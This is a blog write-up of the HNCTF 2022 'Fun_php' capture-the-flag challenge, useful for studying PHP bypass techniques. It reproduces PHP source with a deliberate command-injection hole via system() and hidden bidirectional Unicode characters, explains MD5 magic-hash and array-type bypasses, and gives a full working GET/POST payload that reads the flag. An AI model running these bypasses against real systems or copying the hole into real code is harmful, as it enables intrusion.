[HNCTF 2022 WEEK3]Fun_php

[HNCTF 2022 WEEK3]Fun_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;

$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];

$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
echo "Welcom T0 1he HNCTF2022<BR>";

if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";


if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}

if(is_array($data)){
for($i=0;$i<count($data);$i++){

if($data[$i]==="Probius") exit();

$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;

else
die("HACK!");
}
if($week_1 && $week_2){
if(md5($data)===md5($verify))
// ‮⁦HNCTF⁩⁦Welcome to
if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");

else{
echo "Fine!you win";
system("cat ./$want");
}
}
else
die("HACK!");
}

?>
1
2
3
4
5
6
7
8
9
10
11
if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}
  1. $_GET['user'] == 114514

传值user=114514

  1. $getpass == $pass直接满足

  2. $_GET['mySaid']仅由字母组成(A–Z / a–z)

  3. $_GET['myHeart'] 是数字或能被当作数字的字符串

  4. $_GET['mySaid']$_GET['myHeart']md5值相同

传值mySaid=QNKCDZO&myHeart=240610708

1
2
3
4
5
6
7
8
9
10
11
12
13
if(is_array($data)){
for($i=0;$i<count($data);$i++){

if($data[$i]==="Probius") exit();

$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;

else
die("HACK!");
}
  1. $_POST['data']是数组

循环作用是遍历数组,如果遇到某一个键值为Probius 就exit()

但是只有 array_search("Probius",$data)===0 才能使 week_2为true

array_search作用:在数组中搜索键值 “Probius”,并返回它的键名

所以我们传入data[0]=probius 绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($week_1 && $week_2){
if(md5($data)===md5($verify))
// ‮⁦HNCTF⁩⁦Welcome to
if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");

else{
echo "Fine!you win";
system("cat ./$want");
}
}
else
die("HACK!");
}
  1. 要求md5($data)===md5($verify)因为$data是数组,我们传入$_POST['verify']也是数组即可。
  2. $_POST['want']是我们要访问的文件名,但是不能匹配到正则"/php|\fl4g|\\$|'|\"/i"

传参一直没回显看wp这两行是有零宽字符的image-20251021210352632

其实能注意到单独选取这两行的话有点奇怪

image-20251021210509084

提取0宽字符的方法是复制到010里打开。(其实直接把代码丢给AI也能发现异常)

截图展示一下两种方式

image-20251021210735988

image-20251021211734102

  1. 然后就是传hnctf要把0宽字符也复制下来。

按照以上九点传参

image-20251021214652075

payload

1
2
3
4
5
6
GET:
?user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf

POST:
data[]=0&verify[]=3&want=f*


[HNCTF 2022 WEEK3]Fun_php
http://example.com/2025/10/21/HNCTF-2022-WEEK3-Fun-php/
作者
everythingis-ok
发布于
2025年10月21日
许可协议